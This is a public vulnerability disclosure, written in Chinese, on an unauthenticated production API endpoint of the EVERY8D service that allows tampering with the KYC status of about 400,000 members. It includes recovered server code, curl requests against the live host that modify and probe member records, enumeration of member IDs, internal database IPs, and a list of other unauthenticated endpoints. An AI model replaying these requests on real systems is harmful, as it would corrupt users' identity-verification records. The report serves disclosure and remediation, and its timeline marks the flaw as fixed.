Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00651
- Vendor: 互動資通股份有限公司
- Title: 互動資通 EVERY8D 生產 API 未授權會員 KYC 狀態竄改(約 40 萬筆)
- Introduction: 生產 API 端點 /ocr/ocr_mid 完全缺乏身份驗證,任意使用者可不帶任何憑證修改約 40 萬筆會員的 KYC 狀態。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/05/10 02:43:03 : 新提交 (由 罐頭 更新此狀態)
- 2026/05/10 16:17:19 : 新提交 (由 罐頭 更新此狀態)
- 2026/05/14 13:12:27 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 16:58:43 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 16:58:43 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 16:58:43 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/06 11:24:26 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/08 15:14:11 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 21:01:17 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/08/12 10:32:35 : 確認已修補 (由 罐頭 更新此狀態)
- 2026/08/13 03:00:18 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00651
- 通報者:guan4tou2 (罐頭)
- 風險:嚴重
- 類型:存取控制缺陷 (Broken Access Control)
參考資料
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
相關網址
https://in-api.e8d.tw/
敘述
漏洞概述
EVERY8D 生產 API 伺服器(in-api.e8d.tw)的 /ocr/ocr_mid 端點完全缺乏身份驗證機制,任意網際網路使用者只需以 HTTP POST 傳入整數序號(user_no)與狀態值(status),即可修改生產資料庫中對應會員的 KYC/MID 驗證狀態。user_no 為連續整數,可列舉;資料庫會員上限約 401,944 筆。攻擊者無需任何帳號或 token,即可對全部會員進行大規模 KYC 狀態竄改。
漏洞:/ocr/ocr_mid 端點完全缺乏身份驗證(CWE-306)
此端點設計為 EVERY8D 官網完成 TWCA MID 驗證後的 callback 接收點,但對公開網際網路完全開放,無 IP 白名單、無 token、無 HMAC 簽名。
原始碼邏輯(從 in-api.e8d.tw .git 目錄暴露還原,見 ZD-2026-00631):
function Ocr_mid($f3)
{
// 僅驗證參數是否存在,無任何身份驗證
if(empty($f3->POST['user_no']) || !isset($f3->POST['status']))
{
echo RespJson(array("resp_status"=> _PARAMSLOST, "resp_code"=>"301"));
return;
}
// 直接對 member table 執行 UPDATE
// 無 token / IP whitelist / session 驗證
$sql_upd = "UPDATE member SET status=:status WHERE userNO=:userNO";
$GLOBALS['db']->exec($sql_upd, $arrParam_upd);
echo RespJson(array("resp_status"=> _SUCCESS, "resp_code"=>"200"));
}
有效 status 值:1(KYC 已通過)、31(MID 驗證中)、32(MID 驗證失敗)
重現步驟(Live Verified 2026-05-10)
步驟 1:確認端點存在(缺少參數回應 301)
curl -sk -X POST https://in-api.e8d.tw/ocr/ocr_mid \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'user_no=1' | jq
回應:{"resp_status":"參數缺少","resp_code":"301"}
步驟 2:傳入有效 status,直接修改生產資料庫
curl -sk -X POST https://in-api.e8d.tw/ocr/ocr_mid \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'user_no=1&status=31' | jq
回應:{"resp_status":"成功","resp_code":"200"}
步驟 3:恢復(測試後立即執行)
curl -sk -X POST https://in-api.e8d.tw/ocr/ocr_mid \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'user_no=1&status=1' | jq
回應:{"resp_status":"成功","resp_code":"200"}
步驟 4:DB 型別錯誤確認資料庫連通性
curl -sk -X POST https://in-api.e8d.tw/ocr/ocr_mid \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'user_no=INVALID_STRING&status=1' | jq
回應:{"resp_status":"SQLSTATE[22018]: [Microsoft][ODBC Driver 18 for SQL Server][SQL Server]將 nvarchar 值 'INVALID_STRING' 轉換成資料類型 int 時,轉換失敗。","resp_code":"399"}
此錯誤訊息確認端點直接連接生產 MSSQL(E8D 資料庫),且 userNO 欄位型別為 int。
用戶規模量化
透過獨立探測 EVERY8D 生產環境會員 user_no 邊界:
user_no=1至user_no=401,944:回應 HTTP 200,會員記錄存在user_no=401,945以上:HTTP 500(記錄不存在)
生產會員總數:約 401,944 筆
已驗證影響
- 任意網際網路使用者可不帶任何認證,直接修改任意 EVERY8D 會員的 KYC/MID 驗證狀態
- 可批量設 status=32(KYC 拒絕),使約 40 萬筆會員的 KYC 狀態被設為「驗證失敗」
- 可批量設 status=31(MID 驗證中),重置所有已通過 KYC 帳號的狀態
- 可設 status=1,強制使未完成 KYC 的帳號標記為「已通過」
user_no為連續整數,無需帳號資訊即可影響全部會員
影響範圍補充說明:
/ocr/ocr_mid 主要寫入 in-api MySQL(api 資料庫 192.168.2.242)member 表格。當 user_no 在 MySQL 中不存在時,端點從 MSSQL E8D(192.168.2.169)查詢該會員資料並寫入 MySQL;無效字串觸發 MSSQL 查詢時的資料型別轉換錯誤(INT cast),確認後端同時具備兩條 DB 路徑。ext-api.e8d.tw /isKYC 直接讀 MSSQL,不受 MySQL 修改影響——但任何讀取 in-api MySQL member 表的下游服務均受影響。
額外發現:9 個無 Auth OCR 端點
以下端點同樣無身份驗證(回應 301「參數缺少」而非 401/403),具體功能待進一步確認:
POST /ocr/status
POST /ocr/verify
POST /ocr/getmid
POST /ocr/ocr_kyc
POST /ocr/list
POST /ocr/info
POST /ocr/check
POST /ocr/update
POST /ocr/mid修補建議
1. 立即:將 /ocr/ocr_mid 及其他 9 個 OCR 端點設為 IP 白名單(僅允許官網伺服器 IP),或立即下線。
2. 短期:加入 HMAC-SHA256 請求簽名(共享 secret 僅官網伺服器知道),並驗證時間戳防重放。
3. 長期:納入 API Gateway,強制 mTLS 或 Bearer token 驗證;所有 OCR callback 端點統一套用。